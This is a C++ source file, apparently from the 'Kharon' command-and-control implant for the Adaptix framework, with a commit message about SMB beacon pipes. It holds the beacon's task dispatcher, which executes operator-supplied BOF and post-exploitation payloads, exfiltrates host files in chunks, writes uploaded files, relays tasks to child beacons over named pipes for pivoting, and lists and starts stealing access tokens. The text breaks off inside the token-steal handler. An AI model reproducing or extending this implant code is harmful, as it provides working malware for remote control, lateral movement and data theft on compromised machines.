Files
jaytiwari05 f14ae7fc75 refactor SMB beacon to static pipe name with persistent handles
- Remove random pipe name suffix (_XXXX) — pipe name is now static
  from listener config, identity is via UUID in protocol
- Refactor SmbSend to persistent handle model: pipe created once,
  stays open for session lifetime with TasksRead flag alternating
  between read (Call 1) and write (Call 2) phases
- Refactor Pivot::Exchange to use stored child handle directly
  instead of closing and reconnecting via CreateFileA each cycle
- Make pipename optional in link command — auto-resolved from
  SMB listener config (SmbPipeName set during Generate)
- PIPE_UNLIMITED_INSTANCES handles multiple beacons on same host
- Error recovery: disconnect + recreate pipe on failure
2026-04-05 16:22:03 +05:30

1915 lines
70 KiB
C++

#include <Kharon.h>
using namespace Root;
auto DECLFN Task::Dispatcher( VOID ) -> VOID {
KhDbg("[====== Starting Dispatcher ======]");
KhDbg("Initial heap allocation count: %d", Self->Hp->Count);
PACKAGE* Package = nullptr;
PARSER* Parser = nullptr;
PVOID DataPsr = nullptr;
UINT64 PsrLen = 0;
PCHAR TaskUUID = nullptr;
BYTE JobID = 0;
ULONG TaskQtt = 0;
auto FinalRoutine = [&]( VOID ) {
Self->Jbs->QuickCount = 0;
LONG ExecResult = Self->Jbs->ExecuteAll();
if ( ExecResult ) {
// Update taskCount in PostJobs if QuickMsg entries were added during ExecuteAll
if ( Self->Jbs->QuickCount > 0 && Self->Jbs->PostJobs ) {
UCHAR* CountPos = UC_PTR( Self->Jbs->PostJobs->Buffer ) + Self->Jbs->PostJobsCountPos;
ULONG OldCount = ( (ULONG)CountPos[0] << 24 ) | ( (ULONG)CountPos[1] << 16 ) |
( (ULONG)CountPos[2] << 8 ) | (ULONG)CountPos[3];
ULONG NewCount = OldCount + Self->Jbs->QuickCount;
CountPos[0] = ( NewCount >> 24 ) & 0xFF;
CountPos[1] = ( NewCount >> 16 ) & 0xFF;
CountPos[2] = ( NewCount >> 8 ) & 0xFF;
CountPos[3] = NewCount & 0xFF;
}
Self->Jbs->Send( Self->Jbs->PostJobs );
} else if ( Self->Tsp->Pipe.Name ) {
// SMB: must always send PostJobs (Call 2) to complete the read/write cycle
// and reset TasksRead flag for the next iteration
Self->Jbs->Send( Self->Jbs->PostJobs );
}
Self->Jbs->Cleanup();
if ( DataPsr ) {
BOOL IsTracked = Self->Hp->CheckPtr( DataPsr );
if ( IsTracked ) {
KhFree( DataPsr );
} else {
KhDbg("WARNING: DataPsr not tracked, cannot free!");
}
}
if ( Parser ) {
Self->Psr->Destroy( Parser );
}
if ( Self->Jbs->PostJobs ) {
Self->Pkg->Destroy( Self->Jbs->PostJobs );
}
if ( Package ) {
Self->Pkg->Destroy( Package );
}
KhDbg("Final heap allocation count: %d", Self->Hp->Count);
KhDbg("[====== Dispatcher Finished ======]\n");
};
Self->Jbs->PostJobs = Self->Pkg->PostJobs();
Package = Self->Pkg->NewTask();
if ( ! Package ) {
KhDbg("ERROR: Failed to create new task package");
return FinalRoutine();
}
Parser = (PARSER*)KhAlloc( sizeof(PARSER) );
if ( ! Parser ) {
KhDbg("ERROR: Failed to allocate parser memory");
return FinalRoutine();
}
Self->Pkg->Transmit( Package, &DataPsr, &PsrLen );
if ( ! DataPsr || ! PsrLen ) {
Self->Jbs->PostJobsCountPos = Self->Jbs->PostJobs->Length;
Self->Pkg->Int32( Self->Jbs->PostJobs, Self->Jbs->Count );
KhDbg("Not received task");
return FinalRoutine();
}
KhDbg("Received response %p [%d bytes]", DataPsr, PsrLen);
Self->Psr->NewTask( Parser, DataPsr, PsrLen );
if ( ! Parser->Original ) { return FinalRoutine(); }
KhDbg("Parsed data %p [%d bytes]", Parser->Buffer, Parser->Length);
JobID = Self->Psr->Byte( Parser );
if ( JobID == (BYTE)(Action::Task::GetTask) ) {
KhDbg("Processing job ID: %d", JobID);
TaskQtt = Self->Psr->Int32( Parser );
KhDbg("Task quantity received: %d", TaskQtt);
if ( TaskQtt > 0 ) {
if ( ! Self->Jbs->PostJobs ) {
KhDbg("ERROR: Failed to create post jobs package");
return FinalRoutine();
}
Self->Jbs->PostJobsCountPos = Self->Jbs->PostJobs->Length;
Self->Pkg->Int32( Self->Jbs->PostJobs, TaskQtt + Self->Jbs->Count );
for ( ULONG i = 0; i < TaskQtt; i++ ) {
TaskUUID = Self->Psr->Str( Parser, 0 );
if ( ! TaskUUID ) {
KhDbg("WARNING: Invalid TaskUUID at index %d", i);
continue;
}
KhDbg("Creating job for task UUID: %s", TaskUUID);
KhDbg(
"Parser state: %p, buffer: %p, length: %d",
Parser, Parser->Buffer, Parser->Length
);
JOBS* NewJob = Self->Jbs->Create( TaskUUID, Parser );
if ( ! NewJob ) {
KhDbg("WARNING: Failed to create job for task %d", i);
continue;
}
}
} else {
Self->Jbs->PostJobsCountPos = Self->Jbs->PostJobs->Length;
Self->Pkg->Int32( Self->Jbs->PostJobs, Self->Jbs->Count );
}
}
return FinalRoutine();
}
auto DECLFN Task::Postex(
_In_ JOBS* Job
) -> ERROR_CODE {
PARSER* Parser = Job->Psr;
PACKAGE* Package = Job->Pkg;
ULONG SubCmd = Self->Psr->Int32( Parser );
if ( ! SubCmd ) SubCmd = (ULONG)Action::Postex::Poll;
KhDbg("SubCmd: %d", SubCmd);
switch ( (Action::Postex)SubCmd ) {
case Action::Postex::Inject: {
Self->Pkg->Int32( Package, SubCmd );
ULONG BofLen = 0;
PBYTE BofData = Self->Psr->Bytes( Parser, &BofLen );
if ( BofLen > 0 && !Self->Postex.IsLoaded ) {
Self->Postex.Mapped = (COFF_MAPPED*)KhAlloc( sizeof(COFF_MAPPED) );
if ( ! Self->Cf->Map( BofData, BofLen, Self->Postex.Mapped ) ) {
KhDbg("ERROR: Failed to map BOF");
Self->Pkg->Int32( Package, 0 );
return KhGetError;
}
KhDbg("BOF mapped successfully");
PCHAR symbols[] = {
(PCHAR)"go_inject", (PCHAR)"go_poll", (PCHAR)"go_kill",
(PCHAR)"go_list", (PCHAR)"go_cleanup"
};
PVOID* targets[] = {
&Self->Postex.fn_inject, &Self->Postex.fn_poll, &Self->Postex.fn_kill,
&Self->Postex.fn_list, &Self->Postex.fn_cleanup
};
for ( int i = 0; i < 5; i++ ) {
*targets[i] = Self->Cf->FindSymbol( Self->Postex.Mapped, symbols[i] );
}
KhDbg("Symbols: inject=%p, poll=%p, kill=%p, list=%p, cleanup=%p",
Self->Postex.fn_inject, Self->Postex.fn_poll, Self->Postex.fn_kill,
Self->Postex.fn_list, Self->Postex.fn_cleanup);
Self->Postex.IsLoaded = TRUE;
KhDbg("PostexKit loaded, poll job created");
}
if ( ! Self->Postex.IsLoaded || ! Self->Postex.fn_inject ) {
Self->Pkg->Int32( Package, 0 );
return KhGetError;
}
ULONG ArgsLen = 0;
PBYTE Args = (PBYTE)Self->Psr->Bytes( Parser, &ArgsLen );
Self->Config.Postex.CurrentUUID = Job->UUID;
((BOOL(*)(char*, int))Self->Postex.fn_inject)( (char*)Args, ArgsLen );
Self->Config.Postex.CurrentUUID = nullptr;
Self->Pkg->Int32( Package, 1 );
Self->Postex.SubId = (INT32)Action::Postex::Poll;
Job->Clean = FALSE;
break;
}
case Action::Postex::Poll: {
if ( !Self->Postex.IsLoaded || !Self->Postex.fn_poll ) {
KhDbg("Not loaded, marking job for cleanup");
Job->Clean = TRUE;
return KhRetSuccess;
}
BOOL clean = ((BOOL(*)(char*, int))Self->Postex.fn_poll)( nullptr, 0 );
if ( clean ) {
Self->Cf->Unmap( Self->Postex.Mapped );
KhFree( Self->Postex.Mapped );
Mem::Zero( (UPTR)&Self->Postex, sizeof(Self->Postex) );
Job->Clean = TRUE;
KhDbg("PostexKit unloaded, no active postex");
} else {
Job->Clean = FALSE;
}
break;
}
case Action::Postex::Cleanup: {
PVOID fn = nullptr;
switch ( (Action::Postex)SubCmd ) {
case Action::Postex::Kill: fn = Self->Postex.fn_kill; break;
case Action::Postex::List: fn = Self->Postex.fn_list; break;
case Action::Postex::Cleanup: fn = Self->Postex.fn_cleanup; break;
default: break;
}
if ( ! Self->Postex.IsLoaded || !fn ) {
KhDbg("Not loaded or fn is null");
return KhGetError;
}
PBYTE Args = (SubCmd == (ULONG)Action::Postex::Kill) ? (PBYTE)Parser->Buffer : nullptr;
ULONG ArgsLen = (SubCmd == (ULONG)Action::Postex::Kill) ? Parser->Length : 0;
((void(*)(char*, int))fn)( (char*)Args, ArgsLen );
break;
}
default: {
KhDbg("Unknown SubCmd: %d", SubCmd);
break;
}
}
return KhRetSuccess;
}
auto DECLFN Task::ExecBof(
_In_ JOBS* Job
) -> ERROR_CODE {
BOOL Success = FALSE;
PACKAGE* Package = Job->Pkg;
PARSER* Parser = Job->Psr;
ULONG BofLen = 0;
PBYTE BofBuff = Self->Psr->Bytes( Parser, &BofLen );
ULONG BofCmdID = Self->Psr->Int32( Parser );
ULONG BofArgc = 0;
PBYTE BofArgs = Self->Psr->Bytes( Parser, &BofArgc );
KhDbg("bof id : %d", BofCmdID);
// KhDbg("bof async : %s", BofAsync ? "true" : "false");
KhDbg("bof args : %p [%d bytes]", BofArgs, BofArgc);
Self->Pkg->Int32( Self->Pkg->Shared, BofCmdID );
Success = Self->Cf->Loader( BofBuff, BofLen, BofArgs, BofArgc );
if ( Success ) {
return KhRetSuccess;
} else {
return KhGetError;
}
}
auto DECLFN Task::ProcessDownloads(
_In_ JOBS* Job
) -> ERROR_CODE {
PACKAGE* Package = Job->Pkg;
KhDbg("Processing Downloads task");
INT8 Index = -1;
for ( INT i = 0; i < 30; i++ ) {
if ( ! Self->Tsp->Down[i].FileID || ! Str::LengthA( Self->Tsp->Down[i].FileID ) ) {
Index = i; break;
}
}
if (Index == -1) {
Job->Clean = TRUE;
return KhRetSuccess;
}
FILE_DOWNLOAD_EVENT Events[30] = { 0 };
ULONG StartEvtLen = 0;
for (INT i = 0; i < 30; i++) {
auto& Slot = Self->Tsp->Down[i];
if ( Slot.FileID && Str::LengthA( Slot.FileID ) ) {
if ( Slot.CurChunk > Slot.TotalChunks ) {
KhDbg("SHOULD NEVER BE REACHED");
Slot.FileID = "";
continue;
}
ULONG chunksize = Slot.ChunkSize;
ULONG Offset = (Slot.CurChunk - 1) * Slot.ChunkSize;
KhDbg("Reading chunk %d/%d for file ID %s at offset %lu", Slot.CurChunk, Slot.TotalChunks, Slot.FileID, Offset);
ULONG Result = (ULONG)Self->Krnl32.SetFilePointer(
Slot.FileHandle,
(LONG)Offset,
NULL,
FILE_BEGIN
);
BYTE* FileBuffer = B_PTR( KhAlloc( chunksize ) );
ULONG BytesRead = 0;
if ( ! Self->Krnl32.ReadFile( Slot.FileHandle, FileBuffer, chunksize, &BytesRead, 0 ) || BytesRead == 0 ) {
CHAR* ErrorMsg = "Failed to read from file";
KhDbg("%s (Error: %d)", ErrorMsg, KhGetError);
Self->Ntdll.NtClose( Slot.FileHandle );
KhFree(FileBuffer);
Events[StartEvtLen].FileID = Slot.FileID;
Events[StartEvtLen].ErrorCode = 1;
CHAR* Reason = "CHUNK_READ_ERROR";
Events[StartEvtLen].Reason = Reason;
StartEvtLen++;
if ( Slot.Path ) KhFree( Slot.Path );
Slot.FileID = nullptr;
Slot.Path = nullptr;
QuickErr( ErrorMsg );
continue;
}
Events[StartEvtLen].FileID = Slot.FileID;
Events[StartEvtLen].ErrorCode = 0;
Events[StartEvtLen].Data = FileBuffer;
Events[StartEvtLen].DataLen = BytesRead;
Events[StartEvtLen].CurChunk = Slot.CurChunk;
Events[StartEvtLen].TotalChunks = Slot.TotalChunks;
StartEvtLen++;
BOOL IsFinalChunk = (Slot.CurChunk == Slot.TotalChunks);
if ( ! IsFinalChunk ) {
Slot.CurChunk = Slot.CurChunk + 1;
} else {
Self->Ntdll.NtClose( Slot.FileHandle );
if ( Slot.Path ) KhFree( Slot.Path );
Slot.FileID = nullptr;
Slot.Path = nullptr;
Self->Tsp->DownloadTasksCount--;
}
}
}
Self->Pkg->Int32( Package, StartEvtLen );
if( StartEvtLen == 0 ){
Job->Clean = TRUE;
return KhRetSuccess;
}
for (INT i = 0; i < StartEvtLen; i++) {
if (Events[i].FileID && Str::LengthA(Events[i].FileID)) {
Self->Pkg->Str(Job->Pkg, Events[i].FileID);
Self->Pkg->Int32(Job->Pkg, Events[i].ErrorCode);
if (Events[i].ErrorCode != 0) {
KhDbg("Processing TaskPacking for - FileID: %s, Error code: %d", Events[i].FileID, Events[i].ErrorCode);
Self->Pkg->Str(Job->Pkg, Events[i].Reason);
} else {
KhDbg("Processing TaskPacking for - FileID: %s, Error code: %d", Events[i].FileID, Events[i].ErrorCode);
Self->Pkg->Int32(Job->Pkg, Events[i].DataLen);
KhDbg("Data Length: %d", Events[i].DataLen);
Self->Pkg->Bytes(Job->Pkg, Events[i].Data, Events[i].DataLen);
Self->Pkg->Int32(Job->Pkg, Events[i].CurChunk);
KhDbg("Current Chunk: %d", Events[i].CurChunk);
Self->Pkg->Int32(Job->Pkg, Events[i].TotalChunks);
KhDbg("Total Chunks: %d", Events[i].TotalChunks);
}
}
}
for (INT i = 0; i < StartEvtLen; i++) {
if ( Events[i].Data && Events[i].ErrorCode == 0 ) {
KhFree( Events[i].Data );
}
if ( Events[i].FileID &&
(Events[i].ErrorCode != 0 || Events[i].CurChunk == Events[i].TotalChunks) ) {
KhFree( Events[i].FileID );
}
}
Job->Clean = FALSE;
return KhRetSuccess;
}
auto DECLFN Task::Download(
_In_ JOBS* Job
) -> ERROR_CODE {
PACKAGE* Package = Job->Pkg;
PARSER* Parser = Job->Psr;
CHAR* FileID = nullptr;
CHAR* FilePath = nullptr;
ULONG FileSize = 0;
ULONG chunksize = 0x500000; // 5 MB
FileID = Self->Psr->Str( Parser, 0 );
if ( ! FileID || ! Str::LengthA( FileID ) ) {
Self->Pkg->Str( Package, FileID );
Self->Pkg->Int32( Package, 1 );
Self->Pkg->Str( Package, "INVALID_FILE_ID" );
QuickErr( "Invalid file ID" );
return KhRetSuccess;
}
FilePath = Self->Psr->Str( Parser, 0 );
KhDbg("Download file Path: %s", FilePath);
if ( ! FilePath || ! Str::LengthA( FilePath ) ) {
Self->Pkg->Str( Package, FileID );
Self->Pkg->Int32( Package, 1 );
Self->Pkg->Str( Package, "INVALID_FILE_PATH" );
QuickErr( "Invalid file path" );
return KhRetSuccess;
}
KhDbg("Download file path: %s", FilePath);
HANDLE FileHandle = Self->Krnl32.CreateFileA( FilePath, GENERIC_READ, FILE_SHARE_READ, 0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0 );
if ( FileHandle == INVALID_HANDLE_VALUE ) {
Self->Pkg->Str( Package, FileID );
Self->Pkg->Int32( Package, 1 );
Self->Pkg->Str( Package, "INVALID_FILE_HANDLE" );
QuickErr( "Failed to open file for reading" );
return KhRetSuccess;
}
INT8 Index = -1;
KhDbg("file id: %s", FileID);
for ( INT i = 0; i < 30; i++ ) {
if ( ! Self->Tsp->Down[i].FileID || ! Str::LengthA( Self->Tsp->Down[i].FileID ) ) {
Index = i; break;
}
}
KhDbg("index: %d", Index);
if ( Index == -1 ) {
Self->Pkg->Str( Package, FileID );
Self->Pkg->Int32( Package, 1 );
Self->Pkg->Str( Package, "MAX_DOWNLOADS_REACHED" );
QuickErr( "Maximum concurrent uploads (30) reached" );
Self->Ntdll.NtClose( FileHandle );
return KhRetSuccess;
}
FileSize = Self->Krnl32.GetFileSize( FileHandle, 0 );
ULONG FileIDLen = Str::LengthA( FileID );
CHAR* FileIDCopy = (CHAR*)KhAlloc( FileIDLen + 1 );
Str::CopyA( FileIDCopy, FileID );
ULONG FilePathLen = Str::LengthA( FilePath );
CHAR* FilePathCopy = (CHAR*)KhAlloc( FilePathLen + 1 );
Str::CopyA( FilePathCopy, FilePath );
auto& Slot = Self->Tsp->Down[Index];
Slot.FileID = FileIDCopy;
Slot.ChunkSize = chunksize;
Slot.CurChunk = 1;
Slot.TotalChunks = (FileSize + chunksize - 1) / chunksize;
Slot.Path = FilePathCopy;
Slot.FileHandle = FileHandle;
Self->Tsp->DownloadTasksCount++;
if ( Self->Tsp->DownloadTasksCount == 1 ) {
KhDbg("Adding Process Downloads job");
PARSER* TmpPsrDownload = nullptr;
BYTE* TmpBufDownload = (BYTE*)KhAlloc( sizeof(UINT16) );
UINT16 CmdDownload = (UINT16)Action::Task::ProcessDownloads;
JOBS* NewJobDownload = nullptr;
TmpBufDownload[0] = (CmdDownload ) & 0xFF;
TmpBufDownload[1] = (CmdDownload >> 8) & 0xFF;
TmpPsrDownload = (PARSER*)KhAlloc( sizeof(PARSER) );
if ( ! TmpPsrDownload ) {
KhDbg("ERROR: Failed to create TmpParser");
return KhGetError;
}
Self->Psr->New( TmpPsrDownload, TmpBufDownload, sizeof(UINT16) );
KhFree( TmpBufDownload );
NewJobDownload = Self->Jbs->Create( Self->Jbs->DownloadUUID, TmpPsrDownload, TRUE );
if ( ! NewJobDownload ) {
KhDbg("WARNING: Failed to create job for Process Download task");
return KhGetError;
}
}
Self->Pkg->Str( Package, FileID );
Self->Pkg->Int32( Package, 0 );
Self->Pkg->Int64( Package, FileSize );
Self->Pkg->Str( Package, FilePath );
return KhRetSuccess;
}
auto DECLFN Task::Upload(
_In_ JOBS* Job
) -> ERROR_CODE {
PACKAGE* Package = Job->Pkg;
PARSER* Parser = Job->Psr;
CHAR* FileID = nullptr;
CHAR* FilePath = nullptr;
INT8 Index = -1;
Action::Up UploadState = (Action::Up)Self->Psr->Int32( Parser );
KhDbg("Upload state: %d", UploadState);
switch ( UploadState ) {
case Action::Up::Init: {
FileID = Self->Psr->Str( Parser, 0 );
KhDbg("file id: %s", FileID);
for ( INT i = 0; i < 30; i++ ) {
if ( ! Self->Tsp->Up[i].FileID || ! Str::LengthA( Self->Tsp->Up[i].FileID ) ) {
Index = i; break;
}
}
KhDbg("index: %d", Index);
if (Index == -1) {
CHAR* ErrorMsg = "Maximum concurrent uploads (10) reached";
KhDbg("%s", ErrorMsg);
QuickErr( ErrorMsg );
return KhRetSuccess;
}
KhDbg("index: %d", Index);
FilePath = Self->Psr->Str(Parser, 0);
KhDbg("file path: %s", FilePath);
auto& Slot = Self->Tsp->Up[Index];
Slot.FileID = FileID;
Slot.Path = FilePath;
Slot.CurChunk = 0;
Slot.BytesReceived = 0;
Slot.TotalChunks = 0;
Self->Pkg->Int32( Package, 1 );
Self->Pkg->Str( Package, FileID );
Self->Pkg->Str( Package, FilePath );
Self->Pkg->Int32( Package, KH_CHUNK_SIZE );
KhDbg("Init upload: ID=%s, Path=%s", FileID, FilePath);
break;
}
case Action::Up::Chunk: {
FileID = Self->Psr->Str( Parser, 0 );
KhDbg("file id: %s", FileID);
if ( ! FileID ) {
CHAR* ErrorMsg = "Invalid File ID"; KhDbg("%s", ErrorMsg);
QuickErr( ErrorMsg );
return KhRetSuccess;
}
INT32 TotalChunks = Self->Psr->Int32( Parser );
INT32 ChunkNumber = Self->Psr->Int32( Parser );
INT32 ChunkSize = Self->Psr->Int32( Parser );
BYTE* ChunkData = Self->Psr->Bytes( Parser, 0 );
KhDbg("total: %d", TotalChunks);
KhDbg("chunk number: %d", ChunkNumber);
KhDbg("chunk size: %d", ChunkSize);
KhDbg("chunk data p: %p", ChunkData);
INT FileIndex = -1;
for ( INT i = 0; i < 30; i++ ) {
if (
Self->Tsp->Up[i].FileID &&
Str::CompareA( FileID, Self->Tsp->Up[i].FileID ) == 0
) { FileIndex = i; break; }
}
if ( FileIndex == -1 ) {
CHAR* ErrorMsg = "File ID not found";
KhDbg("%s", ErrorMsg);
QuickErr( ErrorMsg );
return KhRetSuccess;
}
KhDbg("FIleIndex: %d", FileIndex);
auto& Slot = Self->Tsp->Up[FileIndex];
if ( ! Slot.FileHandle || Slot.FileHandle == INVALID_HANDLE_VALUE ) {
Slot.FileHandle = Self->Krnl32.CreateFileA(
Slot.Path, FILE_APPEND_DATA,
FILE_SHARE_READ, nullptr, OPEN_ALWAYS,
FILE_ATTRIBUTE_NORMAL, nullptr
);
KhDbg("Created File Handle");
if ( Slot.FileHandle == INVALID_HANDLE_VALUE ) {
CHAR* ErrorMsg = "Failed to create/open file";
KhDbg("%s (Error: %d)", ErrorMsg, KhGetError);
QuickErr( ErrorMsg );
return KhRetSuccess;
}
}
Self->Krnl32.SetFilePointer(
Slot.FileHandle,
0, nullptr, FILE_END
);
DWORD bytesWritten;
BOOL writeResult = Self->Krnl32.WriteFile(
Slot.FileHandle,
ChunkData, ChunkSize, &bytesWritten, nullptr
);
KhDbg("bytesWritten: %lu", bytesWritten);
KhDbg("writeResult: %d", writeResult);
if ( ! writeResult || bytesWritten != ChunkSize ) {
CHAR* ErrorMsg = "Failed to write chunk to file";
KhDbg("%s (Error: %d)", ErrorMsg, KhGetError);
QuickErr( ErrorMsg );
if ( Slot.FileHandle != INVALID_HANDLE_VALUE ) {
Self->Ntdll.NtClose( Slot.FileHandle );
Slot.FileHandle = INVALID_HANDLE_VALUE;
}
return KhRetSuccess;
}
Slot.CurChunk = ChunkNumber;
Slot.BytesReceived += bytesWritten;
Slot.TotalChunks = TotalChunks;
KhDbg("Chunk %d/%d (%d bytes) written to %s",
ChunkNumber, TotalChunks, bytesWritten, FileID);
if ( ChunkNumber == TotalChunks || ChunkSize < KH_CHUNK_SIZE ) {
QuickMsg(
"Upload completed ID: %s (%d bytes total)",
FileID, Slot.BytesReceived
);
if ( Slot.FileHandle != INVALID_HANDLE_VALUE ) {
Self->Ntdll.NtClose( Slot.FileHandle );
Slot.FileHandle = INVALID_HANDLE_VALUE;
}
if ( Slot.FileID ) {
KhFree( Slot.FileID );
Slot.FileID = nullptr;
}
if ( Slot.Path ) {
KhFree( Slot.Path );
Slot.Path = nullptr;
}
Slot.FileID = "";
Slot.CurChunk = 0;
Slot.BytesReceived = 0;
Slot.TotalChunks = 0;
}
break;
}
}
return KhRetSuccess;
}
auto DECLFN Task::Pivot(
_In_ JOBS* Job
) -> ERROR_CODE {
PACKAGE* Package = Job->Pkg;
PARSER* Parser = Job->Psr;
UINT8 SubCmd = Self->Psr->Byte( Parser );
KhDbg( "sub command id: %d", SubCmd );
Self->Pkg->Byte( Package, SubCmd );
switch ( (Action::Pivot)SubCmd ) {
case Action::Pivot::Link: {
PCHAR PipePath = Self->Psr->Str( Parser, 0 );
if ( ! PipePath ) {
Self->Ntdll.DbgPrint( "[PIVOT] Link: no pipe path\n" );
Self->Pkg->Str( Package, (PCHAR)"link: no pipe path" );
KhSetError( ERROR_INVALID_PARAMETER );
break;
}
Self->Ntdll.DbgPrint( "[PIVOT] Link: connecting to %s\n", PipePath );
// Connect to the child's named pipe and read its checkin data
SMB_PROFILE_DATA* SmbNode = (SMB_PROFILE_DATA*)Self->Tsp->SmbAdd( PipePath, Parser, Package );
if ( ! SmbNode ) {
ULONG err = KhGetError;
Self->Ntdll.DbgPrint( "[PIVOT] Link: SmbAdd failed, error=%d\n", err );
// Report failure to operator via task output
CHAR errMsg[128] = { 0 };
Self->Msvcrt.k_vswprintf; // ensure msvcrt is loaded
// Build error string manually
PCHAR p = errMsg;
PCHAR prefix = (PCHAR)"link failed: CreateFileA error=";
while ( *prefix ) *p++ = *prefix++;
// Convert error code to decimal
ULONG tmp = err;
CHAR numBuf[12] = { 0 };
INT idx = 0;
if ( tmp == 0 ) { numBuf[idx++] = '0'; }
else { while ( tmp > 0 ) { numBuf[idx++] = '0' + (tmp % 10); tmp /= 10; } }
for ( INT i = idx - 1; i >= 0; i-- ) *p++ = numBuf[i];
*p = 0;
Self->Pkg->Str( Package, errMsg );
KhSetError( ERROR_PIPE_NOT_CONNECTED );
break;
}
Self->Ntdll.DbgPrint( "[PIVOT] Link: connected, child UUID=%s, data=%d bytes\n",
SmbNode->SmbUUID, SmbNode->Pkg->Length );
// Forward child's checkin blob to teamserver
// Format matches Adaptix COMMAND_LINK: [byte linkType][int32 watermark][bytes beat]
Self->Pkg->Int32( Package, (UINT32)0xc17a905a ); // Kharon agent watermark
Self->Pkg->Bytes( Package, (PBYTE)SmbNode->Pkg->Buffer, SmbNode->Pkg->Length );
Self->Ntdll.DbgPrint( "[PIVOT] Link: forwarded %d bytes with watermark\n", SmbNode->Pkg->Length );
break;
}
case Action::Pivot::Unlink: {
PCHAR ChildUUID = Self->Psr->Str( Parser, 0 );
if ( ! ChildUUID ) {
KhSetError( ERROR_INVALID_PARAMETER );
break;
}
Self->Ntdll.DbgPrint( "[PIVOT] Unlink: removing %s\n", ChildUUID );
PVOID SmbNode = Self->Tsp->SmbGet( ChildUUID );
if ( SmbNode ) {
Self->Tsp->SmbRm( SmbNode );
Self->Ntdll.DbgPrint( "[PIVOT] Unlink: removed\n" );
}
break;
}
case Action::Pivot::List: {
break;
}
case Action::Pivot::Exchange: {
// Relay task data to SMB child and read response using persistent handle
PCHAR PivotId = Self->Psr->Str( Parser, 0 );
ULONG DataLen = 0;
PBYTE Data = Self->Psr->Bytes( Parser, &DataLen );
if ( ! PivotId || ! Data || DataLen == 0 ) {
Self->Ntdll.DbgPrint( "[PIVOT] Exchange: missing pivotId or data\n" );
break;
}
Self->Ntdll.DbgPrint( "[PIVOT] Exchange: pivotId=%s, data=%d bytes\n", PivotId, DataLen );
// Get child by AgentId — handle was stored during Link (SmbAdd)
SMB_PROFILE_DATA* Child = (SMB_PROFILE_DATA*)Self->Tsp->SmbGet( PivotId );
if ( ! Child || ! Child->Handle ) {
Self->Ntdll.DbgPrint( "[PIVOT] Exchange: child not found or handle null for id=%s\n", PivotId );
break;
}
// Write tasks to persistent handle [4B len][data]
ULONG TotalWriteLen = sizeof(ULONG) + DataLen;
PBYTE WriteBuf = (PBYTE)KhAlloc( TotalWriteLen );
if ( ! WriteBuf ) break;
Mem::Copy( WriteBuf, &DataLen, sizeof(ULONG) );
Mem::Copy( WriteBuf + sizeof(ULONG), Data, DataLen );
ULONG WriteLen = 0;
BOOL writeOk = Self->Krnl32.WriteFile( Child->Handle, WriteBuf, TotalWriteLen, &WriteLen, nullptr );
KhFree( WriteBuf );
if ( ! writeOk ) {
Self->Ntdll.DbgPrint( "[PIVOT] Exchange: WriteFile failed: %d — removing child\n", KhGetError );
Self->Tsp->SmbRm( Child );
break;
}
Self->Ntdll.DbgPrint( "[PIVOT] Exchange: wrote %d bytes tasks to child\n", DataLen );
// Read child's results from same persistent handle
// Wait for child to process tasks and write back
ULONG PeekLen = 0;
while ( TRUE ) {
if ( ! Self->Krnl32.PeekNamedPipe( Child->Handle, nullptr, 0, 0, &PeekLen, 0 ) ) {
Self->Ntdll.DbgPrint( "[PIVOT] Exchange: PeekNamedPipe failed (child disconnected): %d\n", KhGetError );
Self->Tsp->SmbRm( Child );
goto exchange_done;
}
if ( PeekLen >= sizeof(ULONG) ) break;
Self->Krnl32.Sleep( 100 );
}
{
PBYTE RespBuf = nullptr;
ULONG RespLen = 0;
PBYTE MsgBuf = (PBYTE)KhAlloc( PeekLen );
ULONG ReadLen = 0;
if ( ! Self->Krnl32.ReadFile( Child->Handle, MsgBuf, PeekLen, &ReadLen, nullptr ) ) {
Self->Ntdll.DbgPrint( "[PIVOT] Exchange: ReadFile failed: %d — removing child\n", KhGetError );
KhFree( MsgBuf );
Self->Tsp->SmbRm( Child );
goto exchange_done;
}
// Extract payload: skip 4-byte length prefix
if ( ReadLen > sizeof(ULONG) ) {
RespLen = ReadLen - sizeof(ULONG);
RespBuf = (PBYTE)KhAlloc( RespLen );
Mem::Copy( RespBuf, MsgBuf + sizeof(ULONG), RespLen );
}
KhFree( MsgBuf );
Self->Ntdll.DbgPrint( "[PIVOT] Exchange: child response = %d bytes\n", RespLen );
// Handle stays open — persistent connection
// Package child response for teamserver
if ( RespBuf && RespLen > 0 ) {
Self->Pkg->Int32( Package, PROFILE_SMB );
Self->Pkg->Bytes( Package, RespBuf, RespLen );
KhFree( RespBuf );
}
}
exchange_done:
break;
}
}
return KhRetSuccess;
}
auto DECLFN Task::Token(
_In_ JOBS* Job
) -> ERROR_CODE {
PACKAGE* Package = Job->Pkg;
PARSER* Parser = Job->Psr;
Action::Token SubID = (Action::Token)Self->Psr->Int32( Parser );
Self->Pkg->Byte( Package, (BYTE)SubID );
KhDbg( "Sub Command ID: %d", SubID );
switch ( SubID ) {
case Action::Token::GetUUID: {
CHAR* ThreadUser = nullptr;
HANDLE TokenHandle = nullptr;
TokenHandle = Self->Tkn->CurrentPs();
if ( ! TokenHandle || TokenHandle == INVALID_HANDLE_VALUE ) {
KhDbg("Invalid token!");
KhSetError( ERROR_INVALID_HANDLE );
break;
}
ThreadUser = Self->Tkn->GetUser( TokenHandle );
if ( ThreadUser ) {
Self->Pkg->Str( Package, ThreadUser );
KhFree( ThreadUser ); KhSetError( ERROR_SUCCESS );
} else {
KhSetError( ERROR_NO_TOKEN );
}
Self->Ntdll.NtClose( TokenHandle );
break;
}
case Action::Token::List: {
TOKEN_NODE* Current = Self->Tkn->Node;
ULONG count = 0;
while ( Current ) {
count++;
KhDbg("Linsting token %d:", count);
KhDbg(" User: %s", Current->User ? Current->User : "NULL");
KhDbg(" Host: %s", Current->Host? Current->Host : "NULL");
KhDbg(" TokenID: %d", Current->TokenID);
KhDbg(" Handle: %p", Current->Handle);
KhDbg(" ProcessID: %d", Current->ProcessID);
Self->Pkg->Str( Package, Current->User ? Current->User : (CHAR*)"" );
Self->Pkg->Str( Package, Current->Host ? Current->Host : (CHAR*)"" );
Self->Pkg->Int32( Package, Current->TokenID );
Self->Pkg->Int64( Package, (LONG)Current->Handle );
Self->Pkg->Int32( Package, Current->ProcessID );
Current = Current->Next;
}
break;
}
case Action::Token::Steal: {
ULONG ProcessID = Self->Psr->Int32( Parser );
BOOL TokenUse = Self->Psr->Int32( Parser );
KhDbg("[Task::Token::Steal] ProcessID: %d, TokenUse: %s", ProcessID, TokenUse ? "true" : "false");
